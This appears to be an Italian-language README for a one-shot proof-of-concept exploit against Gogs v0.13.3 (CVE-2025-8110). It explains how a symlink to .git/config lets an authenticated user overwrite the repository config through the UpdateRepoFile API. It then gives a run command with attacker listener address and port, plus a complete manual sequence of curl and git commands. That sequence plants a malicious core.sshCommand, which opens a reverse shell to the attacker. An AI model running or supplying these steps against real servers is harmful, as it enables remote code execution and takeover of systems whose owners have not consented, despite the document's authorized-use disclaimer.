
One-shot exploit per Gogs RCE tramite symlink (CVE-2025-8110) che attiva una reverse shell tramite una singola richiesta PUT a UpdateRepoFile.
Script proof-of-concept in Python per CVE-2025-8110 — Gogs v0.13.3 UpdateRepoFile symlink RCE. Colpo singolo: la stessa PUT malevola attiva git fetch → sshCommand → reverse shell.
⚠️ Solo per scopi educativi e ricerca di sicurezza autorizzata. Eseguire questo strumento contro sistemi di cui non si possiede il permesso scritto per testarli è illegale.
Il gestore UpdateRepoFile in internal/db/repo_editor.go chiama per scrivere il contenuto del file, che segue i symlink senza controllarli. Combinato con il fatto che precedenti commit di symlink attraversano , un attaccante può:
os.WriteFile.git/x → .git/config al repository barePUT /api/v1/repos/{owner}/{repo}/contents/x con un .git/config malevolo contenente core.sshCommand impostato su un comando reverse shellgit fetch origin (tramite CreateOrUpdateRepoFile → UpdateLocalCopyBranch), che legge la configurazione modificata ed esegue sshCommand — generando una reverse shell in un colpo solo.poc.py: richiede target, username, password, LHOST e LPORT; effettua il login, crea un token API, crea un repository, invia un symlink e sovrascrive .git/config tramite l'API — la singola richiesta PUT stessa attiva la reverse shell.Esegui:
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001
| Argomento | Obbligatorio | Descrizione |
|---|---|---|
--target / -t | Sì | Hostname o URL del target Gogs |
--username | Sì | Nome utente Gogs esistente |
--password | Sì | Password Gogs esistente |
--lhost | Sì | IP dell'ascoltatore per reverse shell |
--lport | Sì | Porta dell'ascoltatore |
/user/settings/applicationsx → .git/config, fa commit e pushPUT /api/v1/repos/{owner}/{repo}/contents/x con una configurazione git malevola contenente core.sshCommand e un URL remoto SSH. Il metodo CreateOrUpdateRepoFile di Gogs chiama internamente UpdateLocalCopyBranch → git fetch origin, che legge la configurazione avvelenata ed esegue sshCommand — generando una reverse shell in una singola richiesta.curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extract _csrf from response
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
-d '_csrf=<csrf>&user_name=<user>&password=<pass>'
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extract _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
-d '_csrf=<csrf>&name=poc-token'
curl -X POST http://target/api/v1/user/repos \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
-d '{"name":"poc-repo"}'
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
--max-time 10 \
-d '{"message":"x","content":"<base64 of malicious git config>"}'
La richiesta PUT stessa attiva git fetch origin, che legge il .git/config avvelenato ed esegue la reverse shell. Non è necessaria una seconda richiesta.
Perché
--max-time 10? Il server potrebbe bloccarsi per ~10s mentre git elabora la scrittura e attiva il fetch. Usare--max-time 10garantisce che curl mantenga la connessione aperta abbastanza a lungo affinché la shell si riconnetta. Senza di esso, la connessione potrebbe cadere prima che la shell si attivi.